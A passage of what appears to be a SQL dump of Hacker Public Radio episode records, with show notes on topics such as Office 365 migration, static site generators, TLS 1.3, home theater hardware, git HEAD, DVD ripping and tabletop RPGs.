id=\"kevie\">Kevie</h3>\r\n<p>Twitter: <a href=\"https://twitter.com/kevie49\">@kevie49</a><br />\r\nDiaspora: <a href=\"https://diaspora.microdata.co.uk/u/kevie\">kevie@diaspora.microdata.co.uk</a><br />\r\nFediverse: <a href=\"https://community.highlandarrow.com/kevie\">kevie@community.highlandarrow.com</a></p>\r\n<h3 id=\"andrew\">Andrew</h3>\r\n<p>Fediverse: <a href=\"https://mastodon.me.uk/@mcnalu\">mcnalu@mastodon.me.uk</a><br />\r\nTwitter: <a href=\"https://twitter.com/mcnalu\">@mcnalu</a></p>\r\n<h3 id=\"dave\">Dave</h3>\r\n<p>Twitter: <a href=\"https://twitter.com/thelovebug\">@thelovebug</a><br />\r\nFediverse: <a href=\"https://s.wefamlee.be/thelovebug\">thelovebug@s.wefamlee.be</a></p>\r\n<h2 id=\"other-podcasts\">Other podcasts?</h2>\r\n<p>Dave asks Andrew about a podcast featuring three guys talking about Creative Commons and Linux: <a href=\"https://tuxjam.otherside.network/\"><strong>TuxJam</strong></a></p>\r\n<p>Dave asks Kevie about a short-form music podcast featuring a couple of pieces of music from a single artist: <a href=\"https://ccjam.otherside.network/\"><strong>CCJam</strong></a></p>\r\n<p>Andrew asks Dave about a husband and wife podcast with a live show that goes out every Friday night from South Yorkshire in England: <a href=\"https:://thebugcast.org/\"><strong>The Bugcast</strong></a> - it\'s award-winning, has a <a href=\"https://thebugcast.org/live\">live chatroom</a>, and is 10-years old!</p>\r\n<h2 id=\"thanks-for-listening\">Thanks for listening!</h2>\r\n<p>Thanks to <a href=\"https://www.torridonlive.com/\"><strong>Torriden</strong></a> for allowing us to play their track Drinking Away. We hope to see you at Podcrawl in July for a beer or malt (or two)!</p>\r\n\r\n',314,0,0,'CC-BY-SA','podcrawl, event, beer, whisky, cigars, Creative Commons, music, Linux, tech, chunder',0,0,1),
(2533,'2018-04-18','Burp Suite / ABCMouse Game',1504,'I got over my approach for most mobile/web app pentesting','<p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/HPR_ABC.mp4\" class=\"uri\">https://rmccurdy.com/scripts/videos/rmccurdy_com/HPR_ABC.mp4</a></p>\r\n<p>more burp/android videos:</p>\r\n<ul>\r\n<li><p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/Star%20Wars%20Galaxy%20of%20Heroes%20Hacking%20Failsause.mp4\">https://rmccurdy.com/scripts/videos/rmccurdy_com/Star%20Wars%20Galaxy%20of%20Heroes%20Hacking%20Failsause.mp4</a></p></li>\r\n<li><p><a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/Burp%20Suite%20SSL%20ProxyDroid%20Android%20Hacking%20Games%202017.mp4\">https://rmccurdy.com/scripts/videos/rmccurdy_com/Burp%20Suite%20SSL%20ProxyDroid%20Android%20Hacking%20Games%202017.mp4</a></p></li>\r\n</ul>',36,0,0,'CC-BY-SA','burp suite,android,pentesting',0,0,1),
(2536,'2018-04-23','Lostnbronx examines points-of-view and tenses in storytelling.',1013,'Lostnbronx examines points-of-view and tenses in storytelling.','<p>Lostnbronx takes a breezy look at narrative points-of-view, as well as temporal tenses in storytelling. What are they, how do they differ, and why might one be better than another in a particular situation?</p>',107,105,0,'CC-0','storytelling,stories,pov,tense,writing,lostnbronx',0,0,1),
(2534,'2018-04-19','Moving to Office 365 (and painting the ceiling)',1888,'Knightwise talks about moving his company email to Office 365','<p>A couple of weeks ago we moved to a new house and I had some time on my hands to talk to you guys while painting the ceiling. Moving was very much on the forefront of my mind since I also recently moved my company\'s Email platform to Office 365. As a cross platform slider with a foot in each major operating system I decided to give you my first impressions of the new platform (and upset the GNU-purists) with my review.</p>',111,0,0,'CC-BY-SA','office, microsoft, windows, 365, move, Migrate, google, Gmail',0,0,1),
(2537,'2018-04-24','Recording HPR on the fly Part II',208,'In which I update the recommendation from HPR 1877: Just use Audio Recorder!','<p>This is an update to <a href=\"https://hackerpublicradio.org/eps.php?id=1877\">hpr1877 :: Recording HPR on the fly on your Android phone</a>. I thought that was two years ago, but wow it\'s even two and a half years ago, back in late 2015.</p>\r\n<p>Updated recommendation! Back in #1877 I said that you could go with this app because it has these nice functions, or with that app because it has these other things. Well, there\'s no longer any need for trade-offs. Just go to f-droid, install \r\n<a href=\"https://f-droid.org/packages/com.github.axet.audiorecorder/\">Audio Recorder</a> and you\'re good to go!</p>\r\n<p>I installed it in two minutes, recorded a two-minute episode on how great it seems to be, and then I recorded another three episodes and I can confirm that it\'s pretty great. You\'ve got the record/pause control available on the lock screen, it can save in FLAC, you can define the naming pattern it should use for the files, and you can tell it where to store its files.</p>\r\n<p>Some apps just insist on saving everything in internal storage, and that can run out pretty quick. Meanwhile I\'ve got 30 GB left on my SD card that I\'m struggling to make apps make use of.</p>\r\n<p>And finally, it also has a rename function (unlike my previous recommendation uRecord!), so you can conveniently, right in the app without finding the files through some other means, change the file name to reflect what it was that you were recording, so that you\'re not in the situation where one month later you\'re looking at a dozen files with just dates and times and need to listen to all of them to figure out which one it is you want.</p>\r\n<p>It even has an automatic skip silence function, but that\'s pretty useless for the places I record in. :-D</p>\r\n<p>When I said \"cool waveform\" I meant that it\'s displaying the recorded waveform on the screen as it records. Not that useful, but it\'s just part of the overall really nice polish of the app.</p>',311,0,0,'CC-BY-SA','android, recording, hpr',0,0,1),
(2538,'2018-04-25','My geeky plans for the new house.',1613,'Knightwise talks about the new geek infrastructure in his house','<p>Moving house gives you plenty of possibilities. While painting the Living room I talk about the geeky infrastructure of my new house and how I plan to set it up.</p>',111,0,1,'CC-BY-SA','ubiquity, wifi, network, firewall, server',0,0,1),
(2542,'2018-05-01','How I helped my dad run a static website using SparkleShare',728,'In which I describe my setup of SparkleShare and GitLab Pages to maintain a static website','<p>My <a href=\"https://social.heldscal.la/clacke/tag/hprep\">#hprep</a> tag up on Heldscalla serves as inspiration for times like this, when I should just record something while I have the chance. Suggest more topics for me to orate about and I\'ll put them up there!</p>\r\n<p>In this episode I\'m talking about how I\'ve set up <a href=\"https://www.sparkleshare.org/\">SparkleShare</a> (web site currently down, try the <a href=\"https://web.archive.org/web/20180320114552/https://www.sparkleshare.org/\">archived site</a> if it\'s still down when you\'re reading this) and <a href=\"https://about.gitlab.com/features/pages/\">GitLab Pages</a> to allow my dad to tinker with a static web site locally on his machine and automatically get the changes up on the official URL without having to bother with any manual steps (at least on the happy path).</p>\r\n<p>Errata: Oops, I said Jekyll uses Python. It uses Ruby.</p>\r\n<p>TL;DL: We have two directories, two git repos. He doesn\'t have to know about git. He plays around in the staging directory first, looks at the test site how it turned out, when he\'s happy he just copies the files over to the production directory and they go live. SparkleShare automatically pushes to <a href=\"https://gitlab.com/\">gitlab.com</a> (I didn\'t say it outright in the episode, but yeah, I\'m using the hosted service -- that\'s basically the point of this mode of doing things, minimal setup, responsibility and maintenance for me), and GitLab CI runs <a href=\"https://jekyllrb.com/\">Jekyll</a>  (use the static site generator of your choice) to copy files over for deploying, and finally  GitLab Pages deploys the new site.</p>\r\n<p>I believe all of this took me less than two hours to set up, effective time, once I got around to it (and was in the same time zone as my dad\'s computer). Don\'t forget to add your verification TXT record in the DNS.</p>',311,0,0,'CC-BY-SA','sparkleshare, static website, gitlab pages',0,0,1),
(2547,'2018-05-08','MSYS2',657,'In which I talk briefly about the history of MSYS2 and Cygwin and why you might want MSYS2','<p>In the beginning there was <a href=\"https://cygwin.com/\">Cygwin</a>, by <a href=\"https://en.wikipedia.org/wiki/Cygnus_Solutions\">Cygnus Solutions</a> (later acquired by Red Hat), then came <a href=\"https://mingw.org/wiki/msys\">msys</a>, a lightweight derivative with no package manager, no fancy integration tools, just the bare minimum necessary to support a gcc compiler and the GNU autotools.</p>\r\n<p><a href=\"https://www.msys2.org/\">msys2</a> is cygwin minus the package manager plus an adaptation of the <a href=\"https://www.archlinux.org/pacman/\">pacman</a> package manager from <a href=\"https://www.archlinux.org/\">Arch</a>, and a big archive of packages of all kinds. It offers a friendlier command-line experience than Cygwin does.</p>\r\n<p>I failed to mention here that msys was explicitly made to support the <a href=\"https://mingw.org/\">MinGW</a> (Minimalist GNU for Windows) flavor of GCC, which is intended for building native Windows applications. GCC for Windows has two types of output, <code>cygwin</code> or <code>mingw</code>, where <code>cygwin</code> is for source code that expects POSIX-y facilities and <code>mingw</code> is for code that should compile (possibly with some minor adjustments for C dialect) equally well under GCC and Microsoft Visual C, and should produce about the same output.</p>',311,0,0,'CC-BY-SA','msys2, cygwin, windows, command-line, pacman, package manager',0,0,1),
(2552,'2018-05-15','What is stow?',721,'How does stow work, why would you want it and what are its limitations?','<p><a href=\"https://www.gnu.org/software/stow/\">stow</a> was perfected in 2002 with stow 1.3.3. Then it was silent for 9 years, and in 2011 stow 2.1.0 came out. It received a few updates until stow 2.2.2 in 2015, but don\'t worry. It\'s still relevant, and it won\'t eat your homework. I don\'t even know what these 2.x versions are about. You still just <code>stow mything</code>, <code>stow -R mything</code> and <code>stow -D mything</code> like you always did.</p>\r\n<p>If stow is too limiting to you, listen to <a href=\"https://hackerpublicradio.org/eps.php?id=2198\">hpr2198 :: How awesome is Guix and why will it take over the world</a> about its big brother, which has all of the advantages of stow except radical simplicity, and none of the drawbacks.</p>\r\n<p>For a shorter and more practical episode on Guix, see <a href=\"https://hackerpublicradio.org/eps.php?id=2308\">hpr2308 :: Everyday package operations in Guix</a>.</p>\r\n',311,0,0,'CC-BY-SA','stow, package manager',0,0,1),
(2539,'2018-04-26','Interview - Austin Lee',2739,'operat0r Interviews Austin Lee','<p><a href=\"https://www.youtube.com/watch?v=ktbiNmxFuZs\" class=\"uri\">https://www.youtube.com/watch?v=ktbiNmxFuZs</a></p>\r\n<p>RAW:<br />\r\n<a href=\"https://rmccurdy.com/stuff/Austen_Lee.zip\" class=\"uri\">https://rmccurdy.com/stuff/Austen_Lee.zip</a></p>\r\n',36,78,1,'CC-BY-SA','interview',0,0,1),
(2540,'2018-04-27','28 - TLS 1.3',1122,'TLS 1.3 is the newest protocol standard for secure communications on the Web.','<p>TLS 1.3 was just adopted, and it provides improved security for all Web communications. We take a look at what the protocol says and look at the controversies around its adoption. <a href=\"https://www.zwilnik.com/?page_id=980\" class=\"uri\">https://www.zwilnik.com/?page_id=980</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.theregister.co.uk/2017/02/27/blue_coat_chokes_on_chrome_encryption_update/\" class=\"uri\">https://www.theregister.co.uk/2017/02/27/blue_coat_chokes_on_chrome_encryption_update/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/POODLE\" class=\"uri\">https://en.wikipedia.org/wiki/POODLE</a></li>\r\n<li><a href=\"https://www.cyberscoop.com/tls-1-3-weakness-financial-industry-ietf/\" class=\"uri\">https://www.cyberscoop.com/tls-1-3-weakness-financial-industry-ietf/</a></li>\r\n<li><a href=\"https://tlseminar.github.io/tls-13/\" class=\"uri\">https://tlseminar.github.io/tls-13/</a></li>\r\n<li><a href=\"https://twit.tv/shows/security-now\" class=\"uri\">https://twit.tv/shows/security-now</a></li>\r\n<li><a href=\"https://www.sophos.com/en-us/company/podcasts.aspx\" class=\"uri\">https://www.sophos.com/en-us/company/podcasts.aspx</a></li>\r\n<li><a href=\"https://www.schneier.com\" class=\"uri\">https://www.schneier.com</a></li>\r\n<li><a href=\"https://blog.cryptographyengineering.com\" class=\"uri\">https://blog.cryptographyengineering.com</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=980\" class=\"uri\">https://www.zwilnik.com/?page_id=980</a></li>\r\n</ul>',198,74,0,'CC-BY-SA','Ephemeral Diffie-Hellman, Encryption, TLS',0,0,1),
(2541,'2018-04-30','Microphone Wind Screen Demo',384,'Lostnbronx demonstrates the effectiveness of his new microphone wind screen.','<p>This is just a quick demo of my new microphone wind screen muff. Though you can still hear some wind noise getting through when especially sharp gusts roll by, I think you\'ll agree the difference with and without the screen is dramatic.</p>\r\n<p>The Movo is not perfect, and will not stop all wind noise on a very blustery day, but this kind of screen is essential for outdoor recording. The only editing I did on this track was a fade-in and out, and transcoding it from wav to flac (which was then transcoded at HPR into other formats).</p>\r\n<hr />\r\n<ul>\r\n<li><p>RECORDER: Tascam DR-40 Digital Recorder<br />\r\n<a href=\"https://tascam.com/product/dr-40/\" class=\"uri\">https://tascam.com/product/dr-40/</a></p></li>\r\n<li><p>WIND SCREEN: Movo WS9 Furry Outdoor Microphone Windscreen Muff (Portable Digital Recorders)<br />\r\n<a href=\"https://www.movophoto.com/products/movo-ws9-furry-outdoor-microphone-windscreen-portable-recorders\" class=\"uri\">https://www.movophoto.com/products/movo-ws9-furry-outdoor-microphone-windscreen-portable-recorders</a></p></li>\r\n</ul>',107,0,0,'CC-BY-SA','recording,wind screen,muff,outdoors,lostnbronx',0,0,1),
(2557,'2018-05-22','Styx -- The Purely Functional Static Site Generator',832,'For the Fractalide web site, we are using Styx as a site generator. Here\'s a bit of how and why.','<p>I switched phones, and complained about the microphone. It probably made a greater difference that I was recording in 16 kHz Vorbis, because I was on a fresh install of Audio Recorder. Always double-check your settings, and apologies for the quality.</p>\r\n\r\n<hr/>\r\n<p>I am currently in the process of converting <a href=\"https://github.com/fractalide/fractalide-website-styx/\" target=\"_blank\">our website</a> from <a href=\"https://gohugo.io/\" target=\"_blank\">Hugo</a> to Styx.</p>\r\n\r\n<p><a href=\"https://styx-static.github.io/styx-site/\" target=\"_blank\">Styx</a> is s static site generator written entirely in the <a href=\"https://nixos.org/nix/\" target=\"_blank\">Nix</a> language. It is able to figure out exactly what pages need to be rebuilt depending on what you changed in your page source and data sources, and all intermediate results are stored in the Nix store.</p>\r\n\r\n<p>The parsing of <a href=\"https://www.methods.co.nz/asciidoc/\" target=\"_blank\">AsciiDoc</a> and <a href=\"https://fletcherpenney.net/multimarkdown/\">(multi)Markdown</a> is done by external tools, but the templating and layouts is all Nix.</p>\r\n\r\n<p>I thought I may have dreamed the bit about <a href=\"https://nest.pijul.com/pmeunier/nix-rust\" target=\"_blank\">carnix</a> or <a href=\"https://github.com/NixOS/nixpkgs/blob/master/pkgs/build-support/rust/default.nix\" target=\"_blank\">buildRustPackage</a> parsing TOML within Nix, because I couldn’t find any evidence of them ever having done that. But then I discovered it was in <a href=\"https://github.com/mozilla/nixpkgs-mozilla/blob/master/lib/parseTOML.nix\" target=\"_blank\">nixpkgs-mozilla</a> I had seen it! That’s Mozilla’s overlay for nixpkgs, which makes Rust Nightly always available in Nix, so it’s kind of Nix’s <a href=\"https://www.rustup.rs/\" target=\"_blank\">rustup</a> equivalent. So yeah, I guess I had dreamed who did it, but not that <em>somebody</em> did it. :-)</p>\r\n',311,0,0,'CC-BY-SA','nix, styx, static site generator',0,0,1),
(2543,'2018-05-02','Home Theater - Part 1 Hardware',530,'I go over my Home Theater / Media setup starting with Hardware','<ul>\r\n<li><p>Onkyo TX-NR575 7.2 Channel Network A/V Receiver<br />\r\n<a href=\"https://www.amazon.com/Onkyo-TX-NR575-Channel-Network-Receiver/dp/B06XVFY3M8\" class=\"uri\">https://www.amazon.com/Onkyo-TX-NR575-Channel-Network-Receiver/dp/B06XVFY3M8</a></p></li>\r\n<li>Onkyo Android App<br />\r\n</li>\r\n<li><p>Zoomtak 2.4G Wireless Mini Keyboard Multifunctional Backlit with Infrared Remote Learning for Android Tv Box, IPTV,HTPC, PS3, Xbox 360, Windows, MAC, Linux OS<br />\r\n<a href=\"https://www.amazon.com/gp/product/B06VW7XFQZ\" class=\"uri\">https://www.amazon.com/gp/product/B06VW7XFQZ</a></p></li>\r\n<li><p>CyberPower CP1500AVRLCD Intelligent LCD UPS System, 1500VA/900W, 12 Outlets, AVR, Mini-Tower<br />\r\n<a href=\"https://smile.amazon.com/gp/product/B000FBK3QK\" class=\"uri\">https://smile.amazon.com/gp/product/B000FBK3QK</a></p></li>\r\n<li><p>PowerPanel Conf file:</p></li>\r\n</ul>\r\n<pre><code>cat /etc/pwrstatd.conf\r\npowerfail-delay = 60\r\npowerfail-active = yes\r\npowerfail-cmd-path = /usr/local/bin/pwrstatd-powerfail.sh\r\npowerfail-duration = 0\r\npowerfail-shutdown = no\r\n\r\nlowbatt-delay = 30\r\nlowbatt-active = yes\r\nlowbatt-cmd-path = /usr/local/bin/pwrstatd-lowbatt.sh\r\nlowbatt-duration = 0\r\nlowbatt-shutdown = yes\r\nenable-alarm = yes\r\nshutdown-sustain = 60\r\nturn-ups-off = yes\r\nlowbatt-threshold = 15\r\n\r\nups-polling-rate = 1\r\nups-retry-rate = 10\r\nprohibit-client-access = no</code></pre>\r\n<ul>\r\n<li><p>Bluetooth Receiver Transmitter, Keedox V4.0 Bluetooth Music Receiver Transmitter Wireless Audio Receiver Stereo Transmitter with aptx for Headphones Car TV<br />\r\n<a href=\"https://smile.amazon.com/gp/product/B00VJTIMIS/\" class=\"uri\">https://smile.amazon.com/gp/product/B00VJTIMIS/</a></p></li>\r\n<li><p>iRunzo NFC Foldable On Ear Wireless Bluetooth Headset Sports Headphones with Microphone Bass Stereo CSR4.1 180 Days Standby Gym Pedometer APP 3.5mm AUX Cable for iPhone Mac iPad Black<br />\r\n<a href=\"https://smile.amazon.com/gp/product/B01JU59W3Q\" class=\"uri\">https://smile.amazon.com/gp/product/B01JU59W3Q</a></p></li>\r\n</ul>',36,0,0,'CC-BY-SA','Home Theater',0,0,1),
(2544,'2018-05-03','How I prepared episode 2493: YouTube Subscriptions - update',1978,'In show 2493 I listed some of my YT subscriptions - here\'s how','<h1 id=\"how-i-prepared-episode-2493-youtube-subscriptions---update\">How I prepared episode 2493: YouTube Subscriptions - update</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>In show <a href=\"https://hackerpublicradio.org/eps.php?id=2493\" title=\"YouTube Subscriptions - update\">2493</a> I listed a number of the YouTube channels I watch. Some of what I did to prepare the notes was to cut and paste information from YouTube pages, but the basic list itself was generated programmatically. I thought the process I used might be of interest to somebody so I am describing it here.</p>\r\n<h2 id=\"components\">Components</h2>\r\n<p>I needed four components to achieve what I wanted:</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/subscription_manager\" title=\"YouTube Subscription Manager page\">YouTube subscription list</a> (only available in OPML format as far as I know)</li>\r\n<li>The <a href=\"https://xmlstar.sourceforge.net/doc/UG/xmlstarlet-ug.html\" title=\"xmlstarlet documentation\"><code>xmlstarlet</code></a> tool to parse the OPML</li>\r\n<li><a href=\"https://www.template-toolkit.org/\" title=\"Template Toolkit\">Template Toolkit</a> which I used to generate Markdown</li>\r\n<li>The <code>pandoc</code> document converter tool to generate HTML</li>\r\n</ul>\r\n<p>I will talk a little about the first three components in this episode in order to provide an overview.</p>\r\n<h2 id=\"full-length-notes\">Full-length notes</h2>\r\n<p>The full-length notes (available <a href=\"https://hackerpublicradio.org/eps/hpr2544/full_shownotes.html\">here</a>) contain details of the processes involved in building the list of channels.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>YouTube <a href=\"https://www.youtube.com/subscription_manager\"><em>Subscription Manager</em></a> page</li>\r\n<li>The <a href=\"https://xmlstar.sourceforge.net/doc/UG/xmlstarlet-ug.html\"><code>xmlstarlet</code></a> manual (HTML, single page)</li>\r\n<li><a href=\"https://www.template-toolkit.org/\"><em>Template Toolkit</em></a>\r\n<ul>\r\n<li><a href=\"https://www.template-toolkit.org/docs/manual/Plugins.html#section_Datafile\"><code>Template::Plugin::Datafile</code></a></li>\r\n<li><a href=\"https://www.template-toolkit.org/docs/manual/VMethods.html#method_replace\">Template Toolkit <code>replace</code> virtual method</a></li>\r\n</ul></li>\r\n<li>The <a href=\"https://pandoc.org/\"><code>pandoc</code></a> document converter</li>\r\n<li>Previous HPR shows referred to:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2202\"><em>hpr2202 :: Makers on YouTube</em></a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2493\"><em>hpr2493 :: YouTube Subscriptions - update</em></a></li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2544/full_shownotes.html\">Detailed notes</a></li>\r\n<li>Example template file: <a href=\"https://hackerpublicradio.org/eps/hpr2544/yt_template.tpl\">yt_template.tpl</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','YouTube,OPML,XML,xmlstarlet,Template Toolkit',0,0,1),
(2548,'2018-05-09','Single Vs Multiple Characters',1050,'Lostnbronx looks at why single or multiple main characters are better in stories.','<p>Lostnbronx goes over the narrative technique of using one main character to tell a story, as opposed to using multiple characters. What advantage, if any, does so-called &quot;head-hopping&quot; have, over focusing on a single character at a time? Why is it sometimes better to do the opposite? And how can these different construction elements impact the story as a whole?</p>\r\n',107,105,0,'CC-BY-SA','storytelling,writing,characters,lostnbronx',0,0,1),
(2549,'2018-05-10','DVD ripping using old hardware',314,'How I put an older machine and a little cash to repurpose it.','<ol type=\"1\">\r\n<li>Had a tower with a bad motherboard.</li>\r\n<li>Wife found one at the Savers (Goodwill) for $8</li>\r\n<li>Board worked, but had no video</li>\r\n<li>Bought a 8mb video card for $10</li>\r\n<li>Power supply fan seized, $10,\r\n<ul>\r\n<li>Got a warning about danger of opening up a power supply.</li>\r\n</ul></li>\r\n<li>Distro should be on a USB key, and run headless\r\n<ul>\r\n<li>Easy way to back up the system</li>\r\n</ul></li>\r\n<li>Had Arch installed, no 32 bit support after end of 2017</li>\r\n<li>Installed Slackware, only working distribution for my hardware\r\n<ul>\r\n<li>Found it useful to have a script to chroot from the install media to the Slackware install.</li>\r\n<li>Added a boot delay to mkinitrc for usb, otherwise it would boot with a message about not finding <code>/mnt</code> in <code>/etc/fstab</code></li>\r\n</ul></li>\r\n<li>Set up ssh with alternative port</li>\r\n<li>Installed mplayer and tmux, and ripit with sbopkg\r\n<ul>\r\n<li>Mplayer to rip streams for movies and shows</li>\r\n<li>Tmux is my favorite for resuming from a different PC or mobile</li>\r\n</ul></li>\r\n<li>Needed a way to rip any media regardless of encryption\r\n<ul>\r\n<li>Only need libdvdcss to read</li>\r\n<li>Includes Disney (Star Wars, Tron)</li>\r\n</ul></li>\r\n<li>CD ripping was a bonus\r\n<ul>\r\n<li>Ripit to rip CDs</li>\r\n</ul></li>\r\n<li>Scripts are on Github</li>\r\n</ol>\r\n<p><a href=\"https://github.com/ricemark20/CD-DVD-ripping-on-Slackware\" class=\"uri\">https://github.com/ricemark20/CD-DVD-ripping-on-Slackware</a></p>\r\n<ol start=\"14\" type=\"1\">\r\n<li>Happy ripping!</li>\r\n</ol>',318,0,0,'CC-BY-SA','ripping, movies, hardware, repurpose',0,0,1),
(2550,'2018-05-11','Howto get started playing RPGs',1519,'Lostnbronx and Klaatu tag-team an intro to tabletop role-playing games [RPG]','<p>\r\nHave you ever wanted to start playing a tabletop RPG, but weren&#39;t sure where to start? In this one-hour episode, Lostnbronx and Klaatu introduce you to role-playing games, including what you need to have in order to get started, how to build a character, what a game session is like, and how to find other people to play with.\r\n</p>\r\n\r\n<p>\r\nSome resources mentioned in this episode:\r\n</p>\r\n\r\n<ul>\r\n<li>\r\n<p>The easy way in&#58; <strong>Dungeons &#38; Dragons</strong> 5th Edition <a href=\"https://dnd.wizards.com/products/tabletop-games/rpg-products/rpg_playershandbook\" target=\"_blank\">Player&#39;s Handbook</a></p>\r\n</li>\r\n<li>\r\n<p>A collection of free RPG systems <a href=\"https://brentnewhall.com/games/doku.php?id=start\" target=\"_blank\">Brent P. Newhall&#39;s Musæum of Fantastic Wonders</a>\r\n</p>\r\n</li>\r\n\r\n<li>\r\n<p>\r\nThe <a href=\"https://opend6.wikidot.com/d6-system-book\" target=\"_blank\">OpenD6</a> system is a free and open and very flexible game using only standard 6-sided die</p>\r\n</li>\r\n\r\n<li><p>\r\n<a href=\"https://www.dmsguild.com/product/175358/Caves-of-Shadow-30\" target=\"_blank\"> </a> is a good, albeit dated, introduction to RPG modules and gameplay in general. It won\'t exactly fit anything you play, but reading it through might clarify how a typical game works &#40;and actually it&#39;s pretty easy to adapt into a modern game like <a href=\"https://paizo.com\" target=\"_blank\">Pathfinder</a> or D&#38;D, if you want.&#41;.\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\nKlaatu has a weekly podcast called <a href=\"https://mixedsignals.ml/cnc\">Chronicles &#38; Commons</a>, wherein he talks about fantasy &#91;Creative Commons and public domain&#93; folklore in the context of RPG gaming &#40;which in turn is discussed in context of storytelling&#41;.</p>\r\n</li> \r\n</ul>\r\n',78,95,0,'CC-BY-SA','rpg,intro,howto,tutorial,dnd,pathfinder,opend6,ogl',0,0,1),
(2551,'2018-05-14','Calibrating Calibration',1519,'NYbill talks about calibration issues with the Siglent SDS1202X-E oscilloscope','<p>NYbill talks about the Siglent SDS1202X-E oscilloscope and the calibration pitfalls of the BA model over the newer BB model.</p>\r\n<p>Pics for the episode:</p>\r\n<p><a href=\"https://media.gunmonkeynet.net/u/nybill/collection/siglent-sds1202x-e/\" class=\"uri\">https://media.gunmonkeynet.net/u/nybill/collection/siglent-sds1202x-e/</a></p>',235,0,0,'CC-BY-SA','test gear, electronics, oscilloscope',0,0,1),
(2553,'2018-05-16','Get ahead with git HEAD',2802,'Klaatu helps you understand git HEAD','<p>This episode is light on actual commands, and mostly a narrative analysis of what git HEAD is and why it matters to you.</p>\r\n<p>Some commands you can try:</p>\r\n<pre><code>$ cat ~/path/to/git/repo/.git/HEAD</code></pre>\r\n<p>and</p>\r\n<pre><code>$ ls ~/path/to/git/repo/.git/refs\r\n$ cat ~/path/to/git/repo/.git/refs/master</code></pre>\r\n',78,104,0,'CC-BY-SA','git, HEAD, branch, refs',0,0,1),
(2556,'2018-05-21','Building trust',2549,'Quasi-philosophical musing about how trust is built both online and in real life','<p>\r\nWhat is trust? How do you get it? How can you exploit it? How can you keep from being exploited?\r\n</p>\r\n',78,74,0,'CC-BY-SA','trust,social engineering,gpg,pgp,community',0,0,1),
(2572,'2018-06-12','What\'s in my tool kit',342,'Listing of items I carry for daily use','<ul>\r\n<li>The bag is a <a href=\"https://www.ebay.com/itm/Dell-Laptop-Backpack/253469390106?hash=item3b03f3f51a:g:RL8AAOSw8GFanVvM\">Dell backpack laptop carrier</a>\r\n<ul>\r\n<li>has 5 pockets\r\n<ul>\r\n<li>2 small side pockets</li>\r\n<li>small front accessory pockets</li>\r\n<li>medium middle tool pockets</li>\r\n<li>large main pocket with interior zippered pocket the padded laptop section is well padded and roomy enough for 2 slim 15&quot; laptops</li>\r\n</ul></li>\r\n</ul></li>\r\n<li><a href=\"https://www.ebay.com/itm/Asus-Z45C-Laptop/142330164679?hash=item212389f5c7:g:5O4AAOSwCU1Y3AAz\">Asus Z54C (W/ 120Gb SSD/ 4Gb Ram ) laptop running Sabayon linux</a></li>\r\n<li><a href=\"https://www.ebay.com/itm/Dell-Latitude-E5570-Intel-Core-i5-2-4Ghz-8GB-Ram-500GB-HDD-Laptop/263560830328?hash=item3d5d731d78:g:jnkAAOSwC2JasSjw\">Dell 5570 laptop for work-sometimes running Win 10 enterprise/pro</a> chargers for both,</li>\r\n<li><p><a href=\"https://www.ebay.com/itm/Sony-MDR-ZX110NC-Noise-Cancelling-Headphones/252814825699?epid=17011373240&amp;hash=item3adcf018e3:g:pgkAAOSw4shYAQgD\">Sony noise cancelling headphones</a></p></li>\r\n<li>Logitech wireless mouse</li>\r\n<li>maglite led flash light</li>\r\n<li><p><a href=\"https://www.tools-plus.com/lutz-2-in-1y.html?gclid=Cj0KCQjwqM3VBRCwARIsAKcekb0tCh30lJCOGwOzGFfqfckcc6QEk1PxKiPyuSnDs9iAQlIJC-e1Fn8aAgHpEALw_wcB\">multi tip screwdriver 1 philips, 1 flat head</a></p></li>\r\n<li><a href=\"https://www.ebay.com/itm/Stanley-Screwdriver-6-Tips-Set-Torque-6-In-1-Tool-Ratchet-1-2-Phillips-Multi-Bit/162915167799?_trkparms=aid%3D111001%26algo%3DREC.SEED%26ao%3D1%26asc%3D50426%26meid%3D375bb4c6758d42d0b94838e831253e4d%26pid%3D100675%26rk%3D5%26rkt%3D15%26sd%3D183131337955%26itm%3D162915167799&amp;_trksid=p2481888.c100675.m4236&amp;_trkparms=pageci%3A07d9a40b-2e08-11e8-b1de-74dbd180ae05%7Cparentrq%3A4f348a1f1620aa479d83a59cffffe77d%7Ciid%3A1\">6 tip screwdriver 2x philips 2x flat head 2x nut drivers</a></li>\r\n<li><a href=\"https://www.ebay.com/itm/Impact-punch-down-tool-blade-110-66-network-wire-punch-down-cable-cat5e-cat6/121654946839?hash=item1c53332c17:g:7usAAOSwAYtWQI75\">punchdown tool</a></li>\r\n<li>shammy cloth</li>\r\n<li>folder for paperwork/ current tasks</li>\r\n<li>one subject notebook</li>\r\n<li>asstd pens &amp; mechanical pencils</li>\r\n<li>wall wart phone charger</li>\r\n<li>micro USB cable</li>\r\n<li>Lightning USB cable</li>\r\n<li>2 6&quot; velcro tie straps</li>\r\n<li>15\' ethernet patch cable,</li>\r\n<li>10\' ethernet patch cable</li>\r\n<li>7\' ethernet patch cable</li>\r\n<li>5\' ethernet patch cable</li>\r\n<li>2x 3\' ethernet patch cable</li>\r\n<li>6&quot; ethernet patch cable</li>\r\n<li>laptop lock cable</li>\r\n<li>USB to ethernet adapter</li>\r\n<li>6\' HDMI cable</li>\r\n<li>Display port to DVI-D adapter</li>\r\n<li>digital voice recorder</li>\r\n<li>portable powerpack/charger (gimmie from Wired Mag)</li>\r\n<li>2x 16GB usb thumb drives\r\n<ul>\r\n<li>1 blank</li>\r\n<li>1 portable apps tools including libre office, and wireshark</li>\r\n</ul></li>\r\n<li><p>6\' power strip/ surge protector</p></li>\r\n<li>Reading glasses</li>\r\n<li>alcohol prep 